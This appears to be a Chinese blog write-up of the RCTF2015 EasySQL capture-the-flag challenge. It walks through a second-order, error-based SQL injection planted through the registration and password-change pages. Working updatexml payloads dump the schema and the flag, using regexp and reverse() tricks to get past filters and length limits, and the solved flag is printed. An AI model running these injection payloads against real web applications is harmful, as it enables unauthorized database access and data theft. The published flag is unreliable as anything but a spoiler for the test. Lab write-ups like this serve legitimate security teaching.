[RCTF2015]EasySQL

在这里插入图片描述
直接登录没有反应
然后注册的时候直接随便注册一个账号,登录之后没发现有啥提示除了url有个title
然后发现可以修改密码
在这里插入图片描述
但是还是没有我们想要的hint,重新开靶机注册账号admin',还是没有用,继续刷靶机,注册admin"
在这里插入图片描述
修改密码出现了报错,报错注入开始
我尝试在改密码界面注入,但是没有任何回显
仔细想想与我们之前做的不同的应该是注册页面

admin' ->admin" ->报错注入语句,用引号闭合,那么我们是不是可以得到信息

成功

-1"||updatexml(1,concat(0x7e,database(),0x7e),3)#

在这里插入图片描述

-1"||updatexml(1,concat(0x7e,(select(group_concat(schema_name))from(information_schema.schemata)(limit)4,1),0x7e),3)#
这个应该是没有写错的,但是不能成功     
很多查行数的都被过滤了mid limit right left
那估计就是不让查库名,我们直接爆表吧
-1"||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),3)#

在这里插入图片描述

-1"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),0x7e),3)#
这个列名是我猜的后面知道原来可以这样绕过
real_flag_1s_here

-1"||updatexml(1,concat(1,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),1),3)#

在这里插入图片描述
查flag的时候发现有很多其他的数据那么这里就需要使用到一个查找

-1"||updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')),1),3)#
flag{c7dc7860-822f-4d21-b505-c5

-1"||updatexml(1,concat(1,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1),3)#
}dcf50d62655c-505b-12d4-f228-068
def reverse_string(input_string):
    reversed_string = input_string[::-1]
    return reversed_string

# 测试字符串
input_str = "}dcf50d62655c-505b-12d4-f228-068"

# 调用函数并输出结果
reversed_str = reverse_string(input_str)
print(reversed_str)
flag{c7dc7860-822f-4d21-b505-c55626d05fcd}

相关推荐

  1. <span style='color:red;'>2014</span>

    2014

    2024-07-15 16:22:02      41 阅读
  2. [COCI2018-2019#1] Zamjena 解题记录

    2024-07-15 16:22:02       39 阅读
  3. VS2010 VS2015环境编译boost库

    2024-07-15 16:22:02       44 阅读
  4. ECMAScript2015(ES6)

    2024-07-15 16:22:02       44 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-15 16:22:02       67 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-15 16:22:02       71 阅读
  3. 在Django里面运行非项目文件

    2024-07-15 16:22:02       58 阅读
  4. Python语言-面向对象

    2024-07-15 16:22:02       69 阅读

热门阅读

  1. solidity实战练习2--ERC20实现

    2024-07-15 16:22:02       23 阅读
  2. 平衡之术:Kylin攻克数据倾斜的秘诀

    2024-07-15 16:22:02       20 阅读
  3. 常用网站、工具的链接总结(自用且持续补充)

    2024-07-15 16:22:02       19 阅读
  4. Postman 接口测试工具详解

    2024-07-15 16:22:02       19 阅读
  5. Qt qml详细介绍

    2024-07-15 16:22:02       19 阅读
  6. linux:wget在后台下载

    2024-07-15 16:22:02       19 阅读
  7. 2.6 计算机语言

    2024-07-15 16:22:02       21 阅读
  8. 深度学习之轻量化神经网络 EfficientNet

    2024-07-15 16:22:02       19 阅读
  9. Vue3+Element Plus 使用sortablejs对el-table表格进行拖拽

    2024-07-15 16:22:02       19 阅读
  10. 网络建设与运维python脚本应用

    2024-07-15 16:22:02       18 阅读
  11. 如何避免油罐车拉完煤油拉菜油

    2024-07-15 16:22:02       19 阅读